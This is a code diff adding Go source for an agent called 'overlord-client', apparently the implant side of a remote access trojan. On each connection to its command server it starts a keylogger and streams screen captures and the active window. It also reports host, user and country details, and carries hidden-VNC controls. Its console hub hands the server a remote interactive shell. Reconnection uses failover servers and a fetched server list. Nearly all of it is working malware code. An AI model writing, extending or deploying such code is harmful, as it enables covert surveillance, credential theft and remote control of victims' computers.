|
||||
path := filepath.Join(dir, crashLogFileName)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[panic] failed to open crash log %s: %v", path, err)
|
||||
return path
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
timestamp := time.Now().UTC().Format(time.RFC3339)
|
||||
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
|
||||
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
|
||||
if len(stack) > 0 {
|
||||
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package plugins
|
||||
|
||||
import "errors"
|
||||
|
||||
type PluginAssets struct {
|
||||
HTML string `msgpack:"html" json:"html"`
|
||||
CSS string `msgpack:"css" json:"css"`
|
||||
JS string `msgpack:"js" json:"js"`
|
||||
}
|
||||
|
||||
type PluginManifest struct {
|
||||
ID string `msgpack:"id" json:"id"`
|
||||
Name string `msgpack:"name" json:"name"`
|
||||
Version string `msgpack:"version,omitempty" json:"version,omitempty"`
|
||||
Description string `msgpack:"description,omitempty" json:"description,omitempty"`
|
||||
Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"`
|
||||
Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"`
|
||||
Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"`
|
||||
}
|
||||
|
||||
type PluginMessage struct {
|
||||
Type string `msgpack:"type"`
|
||||
Event string `msgpack:"event,omitempty"`
|
||||
Payload interface{} `msgpack:"payload,omitempty"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type HostInfo struct {
|
||||
ClientID string `msgpack:"clientId"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
}
|
||||
|
||||
func ManifestFromMap(m map[string]interface{}) (PluginManifest, error) {
|
||||
manifest := PluginManifest{}
|
||||
manifest.ID = stringVal(m["id"])
|
||||
manifest.Name = stringVal(m["name"])
|
||||
manifest.Version = stringVal(m["version"])
|
||||
manifest.Description = stringVal(m["description"])
|
||||
manifest.Binary = stringVal(m["binary"])
|
||||
manifest.Entry = stringVal(m["entry"])
|
||||
|
||||
if assetsRaw, ok := m["assets"].(map[string]interface{}); ok {
|
||||
manifest.Assets = PluginAssets{
|
||||
HTML: stringVal(assetsRaw["html"]),
|
||||
CSS: stringVal(assetsRaw["css"]),
|
||||
JS: stringVal(assetsRaw["js"]),
|
||||
}
|
||||
}
|
||||
|
||||
if manifest.ID == "" {
|
||||
return PluginManifest{}, errors.New("missing plugin id")
|
||||
}
|
||||
if manifest.Name == "" {
|
||||
manifest.Name = manifest.ID
|
||||
}
|
||||
return manifest, nil
|
||||
}
|
||||
|
||||
func stringVal(v interface{}) string {
|
||||
s, _ := v.(string)
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package runtime
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/creack/pty"
|
||||
)
|
||||
|
||||
type ConsoleHub struct {
|
||||
env *Env
|
||||
mu sync.Mutex
|
||||
sessions map[string]*ConsoleSession
|
||||
}
|
||||
|
||||
type ConsoleSession struct {
|
||||
id string
|
||||
cmd *exec.Cmd
|
||||
pty *os.File
|
||||
cancel context.CancelFunc
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
type ConsoleStartRequest struct {
|
||||
SessionID string
|
||||
Cols int
|
||||
Rows int
|
||||
}
|
||||
|
||||
func NewConsoleHub(env *Env) *ConsoleHub {
|
||||
return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
|
||||
if req.SessionID == "" {
|
||||
return fmt.Errorf("missing session id")
|
||||
}
|
||||
|
||||
cols := uint16(req.Cols)
|
||||
rows := uint16(req.Rows)
|
||||
if cols == 0 {
|
||||
cols = 120
|
||||
}
|
||||
if rows == 0 {
|
||||
rows = 36
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if existing, ok := h.sessions[req.SessionID]; ok {
|
||||
existing.close()
|
||||
delete(h.sessions, req.SessionID)
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
shell := detectShell()
|
||||
sessionCtx, cancel := context.WithCancel(ctx)
|
||||
cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
|
||||
cmd.Env = os.Environ()
|
||||
|
||||
ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
|
||||
if err != nil {
|
||||
cancel()
|
||||
h.emitError(ctx, req.SessionID, err)
|
||||
return err
|
||||
}
|
||||
|
||||
sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
|
||||
h.mu.Lock()
|
||||
h.sessions[req.SessionID] = sess
|
||||
h.mu.Unlock()
|
||||
|
||||
go h.forwardOutput(sessionCtx, sess)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Write(ctx context.Context, sessionID string, data string) error {
|
||||
sess := h.get(sessionID)
|
||||
if sess == nil {
|
||||
return fmt.Errorf("session not found")
|
||||
}
|
||||
_, err := sess.pty.Write([]byte(data))
|
||||
return err
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
|
||||
sess := h.get(sessionID)
|
||||
if sess == nil {
|
||||
return fmt.Errorf("session not found")
|
||||
}
|
||||
if cols <= 0 {
|
||||
cols = 120
|
||||
}
|
||||
if rows <= 0 {
|
||||
rows = 36
|
||||
}
|
||||
return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Stop(sessionID string) {
|
||||
h.mu.Lock()
|
||||
sess := h.sessions[sessionID]
|
||||
delete(h.sessions, sessionID)
|
||||
h.mu.Unlock()
|
||||
if sess != nil {
|
||||
sess.close()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) StopAll() {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
ids := make([]string, 0, len(h.sessions))
|
||||
for id := range h.sessions {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
h.mu.Unlock()
|
||||
for _, id := range ids {
|
||||
h.Stop(id)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, err := sess.pty.Read(buf)
|
||||
if n > 0 {
|
||||
chunk := make([]byte, n)
|
||||
copy(chunk, buf[:n])
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
|
||||
}
|
||||
if err != nil {
|
||||
if err != io.EOF {
|
||||
h.emitError(ctx, sess.id, err)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if sess.cmd != nil {
|
||||
_ = sess.cmd.Wait()
|
||||
}
|
||||
exitCode := extractExitCode(sess.cmd)
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, sess.id)
|
||||
h.mu.Unlock()
|
||||
sess.close()
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
return h.sessions[sessionID]
|
||||
}
|
||||
|
||||
func (sess *ConsoleSession) close() {
|
||||
sess.once.Do(func() {
|
||||
if sess.cancel != nil {
|
||||
sess.cancel()
|
||||
}
|
||||
if sess.cmd != nil && sess.cmd.Process != nil {
|
||||
_ = sess.cmd.Process.Kill()
|
||||
}
|
||||
if sess.pty != nil {
|
||||
_ = sess.pty.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func detectShell() []string {
|
||||
if runtime.GOOS == "windows" {
|
||||
if c := os.Getenv("COMSPEC"); c != "" {
|
||||
return []string{c}
|
||||
}
|
||||
return []string{"cmd.exe"}
|
||||
}
|
||||
if sh := os.Getenv("SHELL"); sh != "" {
|
||||
return []string{sh, "-l"}
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []string{"/bin/zsh", "-l"}
|
||||
}
|
||||
return []string{"/bin/bash", "-l"}
|
||||
}
|
||||
|
||||
func extractExitCode(cmd *exec.Cmd) int {
|
||||
if cmd == nil || cmd.ProcessState == nil {
|
||||
return -1
|
||||
}
|
||||
if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
|
||||
return status.ExitStatus()
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package runtime
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/keylogger"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type Env struct {
|
||||
Conn wire.Writer
|
||||
Cfg config.Config
|
||||
Cancel context.CancelFunc
|
||||
Console *ConsoleHub
|
||||
SelectedDisplay int
|
||||
MouseControl bool
|
||||
KeyboardControl bool
|
||||
CursorCapture bool
|
||||
DesktopDuplication bool
|
||||
DesktopCancel context.CancelFunc
|
||||
DesktopDone chan struct{}
|
||||
DesktopMu sync.Mutex
|
||||
// HVNC fields
|
||||
HVNCSelectedDisplay int
|
||||
HVNCMouseControl bool
|
||||
HVNCKeyboardControl bool
|
||||
HVNCCursorCapture bool
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
// Other fields
|
||||
Plugins *plugins.Manager
|
||||
Keylogger *keylogger.Keylogger
|
||||
NotificationMu sync.RWMutex
|
||||
NotificationKeywords []string
|
||||
NotificationMinIntervalMs int
|
||||
LastPongUnixMs int64
|
||||
}
|
||||
|
||||
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
|
||||
e.NotificationMu.Lock()
|
||||
e.NotificationKeywords = keywords
|
||||
if minIntervalMs > 0 {
|
||||
e.NotificationMinIntervalMs = minIntervalMs
|
||||
}
|
||||
e.NotificationMu.Unlock()
|
||||
}
|
||||
|
||||
func (e *Env) GetNotificationKeywords() []string {
|
||||
e.NotificationMu.RLock()
|
||||
defer e.NotificationMu.RUnlock()
|
||||
if len(e.NotificationKeywords) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, len(e.NotificationKeywords))
|
||||
copy(out, e.NotificationKeywords)
|
||||
return out
|
||||
}
|
||||
|
||||
func (e *Env) GetNotificationMinIntervalMs() int {
|
||||
e.NotificationMu.RLock()
|
||||
defer e.NotificationMu.RUnlock()
|
||||
return e.NotificationMinIntervalMs
|
||||
}
|
||||
|
||||
func (e *Env) SetLastPong(tsMillis int64) {
|
||||
if tsMillis <= 0 {
|
||||
tsMillis = time.Now().UnixMilli()
|
||||
}
|
||||
atomic.StoreInt64(&e.LastPongUnixMs, tsMillis)
|
||||
}
|
||||
|
||||
func (e *Env) LastPong() time.Time {
|
||||
ms := atomic.LoadInt64(&e.LastPongUnixMs)
|
||||
if ms <= 0 {
|
||||
return time.Time{}
|
||||
}
|
||||
return time.UnixMilli(ms)
|
||||
}
|
||||
|
||||
func Hostname() string {
|
||||
h, err := os.Hostname()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func CurrentUser() string {
|
||||
if u := os.Getenv("USERNAME"); u != "" {
|
||||
return u
|
||||
}
|
||||
if u := os.Getenv("USER"); u != "" {
|
||||
return u
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func MinDuration(a, b time.Duration) time.Duration {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,515 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/activewindow"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/handlers"
|
||||
"overlord-client/cmd/agent/keylogger"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
func runClient(cfg config.Config) {
|
||||
baseBackoff := computeBaseBackoff()
|
||||
backoff := baseBackoff
|
||||
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
|
||||
|
||||
ensureServerURLs(&cfg, baseBackoff)
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs))
|
||||
for i, url := range cfg.ServerURLs {
|
||||
marker := ""
|
||||
if i == cfg.ServerIndex {
|
||||
marker = " (starting here)"
|
||||
}
|
||||
log.Printf(" [%d] %s%s", i, url, marker)
|
||||
}
|
||||
}
|
||||
|
||||
tlsMinVersion := uint16(tls.VersionTLS12)
|
||||
transport := createHTTPTransport(cfg, tlsMinVersion)
|
||||
currentIndex := cfg.ServerIndex
|
||||
consecutiveFailures := 0
|
||||
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
|
||||
allowTLSDowngrade := false
|
||||
|
||||
for {
|
||||
|
||||
if currentIndex >= len(cfg.ServerURLs) {
|
||||
currentIndex = 0
|
||||
}
|
||||
|
||||
currentServer := cfg.ServerURLs[currentIndex]
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
|
||||
|
||||
opts := buildDialOptions(cfg, transport)
|
||||
|
||||
serverInfo := ""
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs))
|
||||
}
|
||||
log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
|
||||
|
||||
conn, _, err := websocket.Dial(ctx, url, opts)
|
||||
if err != nil {
|
||||
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
|
||||
consecutiveFailures++
|
||||
|
||||
if shouldRefreshRawList(cfg, consecutiveFailures) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
}
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
|
||||
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
|
||||
}
|
||||
|
||||
time.Sleep(backoff)
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
|
||||
if currentIndex != cfg.ServerIndex {
|
||||
if err := config.SaveServerIndex(currentIndex); err != nil {
|
||||
log.Printf("Warning: failed to save server index: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
backoff = baseBackoff
|
||||
consecutiveFailures = 0
|
||||
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
|
||||
|
||||
conn.SetReadLimit(8 * 1024 * 1024)
|
||||
|
||||
var sessionErr error
|
||||
if err := runSession(ctx, cancel, conn, cfg); err != nil {
|
||||
sessionErr = err
|
||||
if allowTLSDowngrade && isTLSVersionError(err) {
|
||||
log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
|
||||
tlsMinVersion = uint16(tls.VersionTLS10)
|
||||
transport = createHTTPTransport(cfg, tlsMinVersion)
|
||||
allowTLSDowngrade = false
|
||||
}
|
||||
log.Printf("session ended: %v (retrying in %s)", err, backoff)
|
||||
|
||||
if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
}
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
|
||||
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
|
||||
}
|
||||
}
|
||||
|
||||
sleepFor := backoff
|
||||
if sessionErr != nil && shouldRetryImmediately(sessionErr) {
|
||||
sleepFor = reconnectDelay()
|
||||
log.Printf("reconnect: immediate retry in %s", sleepFor)
|
||||
}
|
||||
time.Sleep(sleepFor)
|
||||
}
|
||||
}
|
||||
|
||||
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
|
||||
headers := http.Header{}
|
||||
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
|
||||
headers.Set("x-agent-token", token)
|
||||
}
|
||||
return &websocket.DialOptions{
|
||||
Subprotocols: []string{"binary"},
|
||||
HTTPClient: &http.Client{Transport: transport},
|
||||
HTTPHeader: headers,
|
||||
CompressionMode: websocket.CompressionContextTakeover,
|
||||
}
|
||||
}
|
||||
|
||||
func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
||||
if len(cfg.ServerURLs) > 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.RawServerListURL == "" {
|
||||
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
|
||||
cfg.ServerURLs = []string{config.DefaultServerURL}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
|
||||
for len(cfg.ServerURLs) == 0 {
|
||||
if refreshServerURLsFromRaw(cfg) {
|
||||
return
|
||||
}
|
||||
log.Printf("Retrying raw server list fetch in %s", backoff)
|
||||
time.Sleep(backoff)
|
||||
}
|
||||
}
|
||||
|
||||
func shouldRefreshRawList(cfg config.Config, failures int) bool {
|
||||
if cfg.RawServerListURL == "" {
|
||||
return false
|
||||
}
|
||||
if len(cfg.ServerURLs) == 0 {
|
||||
return true
|
||||
}
|
||||
return failures >= len(cfg.ServerURLs)
|
||||
}
|
||||
|
||||
func refreshServerURLsFromRaw(cfg *config.Config) bool {
|
||||
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
|
||||
if err != nil {
|
||||
log.Printf("[config] WARNING: failed to refresh raw server list: %v", err)
|
||||
return false
|
||||
}
|
||||
|
||||
if len(urls) == 0 {
|
||||
log.Printf("[config] WARNING: raw server list returned no URLs")
|
||||
return false
|
||||
}
|
||||
|
||||
if !equalStringSlices(cfg.ServerURLs, urls) {
|
||||
log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
|
||||
cfg.ServerURLs = urls
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func equalStringSlices(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
|
||||
MinVersion: minVersion,
|
||||
}
|
||||
|
||||
if cfg.TLSCAPath != "" {
|
||||
caCert, err := os.ReadFile(cfg.TLSCAPath)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
|
||||
} else {
|
||||
caCertPool := x509.NewCertPool()
|
||||
if caCertPool.AppendCertsFromPEM(caCert) {
|
||||
tlsConfig.RootCAs = caCertPool
|
||||
log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
|
||||
} else {
|
||||
log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
|
||||
cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
|
||||
} else {
|
||||
tlsConfig.Certificates = []tls.Certificate{cert}
|
||||
log.Printf("[TLS] Loaded client certificate for mutual TLS")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSInsecureSkipVerify {
|
||||
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
|
||||
}
|
||||
|
||||
transport := http.DefaultTransport.(*http.Transport).Clone()
|
||||
transport.TLSClientConfig = tlsConfig
|
||||
return transport
|
||||
}
|
||||
|
||||
func isTLSVersionError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
msg := strings.ToLower(err.Error())
|
||||
return strings.Contains(msg, "protocol version not supported") ||
|
||||
strings.Contains(msg, "tls: protocol version not supported")
|
||||
}
|
||||
|
||||
func computeBaseBackoff() time.Duration {
|
||||
mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
|
||||
_ = mode
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
|
||||
func reconnectDelay() time.Duration {
|
||||
raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
|
||||
if raw == "" {
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
ms, err := strconv.Atoi(raw)
|
||||
if err != nil || ms < 0 {
|
||||
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
if ms == 0 {
|
||||
return 0
|
||||
}
|
||||
return time.Duration(ms) * time.Millisecond
|
||||
}
|
||||
|
||||
var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
|
||||
func randomReconnectDelay(min, max time.Duration) time.Duration {
|
||||
if max <= min {
|
||||
return min
|
||||
}
|
||||
delta := max - min
|
||||
n := time.Duration(reconnectRng.Int63n(int64(delta) + 1))
|
||||
return min + n
|
||||
}
|
||||
|
||||
func shouldRetryImmediately(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, handlers.ErrReconnect) {
|
||||
return true
|
||||
}
|
||||
var closeErr *websocket.CloseError
|
||||
if errors.As(err, &closeErr) {
|
||||
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
|
||||
return true
|
||||
}
|
||||
if closeErr.Code == websocket.StatusAbnormalClosure {
|
||||
return true
|
||||
}
|
||||
}
|
||||
msg := strings.ToLower(err.Error())
|
||||
if strings.Contains(msg, "timed out from inactivity") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getPingInterval() time.Duration {
|
||||
raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
|
||||
if raw == "" {
|
||||
return 30 * time.Second
|
||||
}
|
||||
ms, err := strconv.Atoi(raw)
|
||||
if err != nil {
|
||||
log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw)
|
||||
return 30 * time.Second
|
||||
}
|
||||
if ms <= 0 {
|
||||
return 0
|
||||
}
|
||||
return time.Duration(ms) * time.Millisecond
|
||||
}
|
||||
|
||||
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("session panic: %v", r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("%s (see %s)", reason, path)
|
||||
err = fmt.Errorf("session panic: %v", r)
|
||||
}
|
||||
}()
|
||||
defer cancel()
|
||||
defer conn.Close(websocket.StatusNormalClosure, "bye")
|
||||
|
||||
safeWriter := wire.NewSafeWriter(conn)
|
||||
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
|
||||
env.SetLastPong(time.Now().UnixMilli())
|
||||
env.Console = rt.NewConsoleHub(env)
|
||||
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
|
||||
defer env.Plugins.Close()
|
||||
|
||||
env.Keylogger = keylogger.New()
|
||||
if err := env.Keylogger.Start(); err != nil {
|
||||
log.Printf("[keylogger] Failed to start: %v", err)
|
||||
} else {
|
||||
defer env.Keylogger.Stop()
|
||||
}
|
||||
|
||||
dispatcher := handlers.NewDispatcher(env)
|
||||
|
||||
osVal := strings.TrimSpace(cfg.OS)
|
||||
if osVal == "" {
|
||||
osVal = runtime.GOOS
|
||||
}
|
||||
|
||||
archVal := strings.TrimSpace(cfg.Arch)
|
||||
if archVal == "" {
|
||||
archVal = runtime.GOARCH
|
||||
}
|
||||
|
||||
hello := wire.Hello{
|
||||
Type: "hello",
|
||||
ID: cfg.ID,
|
||||
HWID: cfg.HWID,
|
||||
Host: rt.Hostname(),
|
||||
OS: osVal,
|
||||
Arch: archVal,
|
||||
Version: cfg.Version,
|
||||
User: rt.CurrentUser(),
|
||||
Monitors: capture.MonitorCount(),
|
||||
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
|
||||
Country: cfg.Country,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||
return fmt.Errorf("send hello: %w", err)
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
|
||||
log.Printf("ping: failed to send initial ping: %v", err)
|
||||
cancel()
|
||||
return fmt.Errorf("send initial ping: %w", err)
|
||||
}
|
||||
|
||||
if interval := getPingInterval(); interval > 0 {
|
||||
log.Printf("ping: heartbeat interval=%s", interval)
|
||||
goSafe("ping loop", cancel, func() {
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}
|
||||
if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil {
|
||||
log.Printf("ping: failed to send: %v", err)
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
goSafe("pong watchdog", cancel, func() {
|
||||
grace := interval + (10 * time.Second)
|
||||
if grace < 20*time.Second {
|
||||
grace = 20 * time.Second
|
||||
}
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
last := env.LastPong()
|
||||
if !last.IsZero() && time.Since(last) > grace {
|
||||
log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last))
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
readErr := make(chan error, 1)
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("readLoop panic: %v", r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("%s (see %s)", reason, path)
|
||||
err := fmt.Errorf("%s", reason)
|
||||
select {
|
||||
case readErr <- err:
|
||||
default:
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}()
|
||||
|
||||
if err := readLoop(ctx, conn, env, dispatcher); err != nil {
|
||||
log.Printf("readLoop ended: %v", err)
|
||||
select {
|
||||
case readErr <- err:
|
||||
default:
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}()
|
||||
|
||||
shotCtx, cancelShots := context.WithCancel(ctx)
|
||||
defer cancelShots()
|
||||
goSafe("capture loop", cancel, func() {
|
||||
capture.Loop(shotCtx, env)
|
||||
})
|
||||
|
||||
goSafe("activewindow", nil, func() {
|
||||
if err := activewindow.Start(ctx, env); err != nil {
|
||||
log.Printf("activewindow error: %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
return <-readErr
|
||||
}
|
||||
|
||||
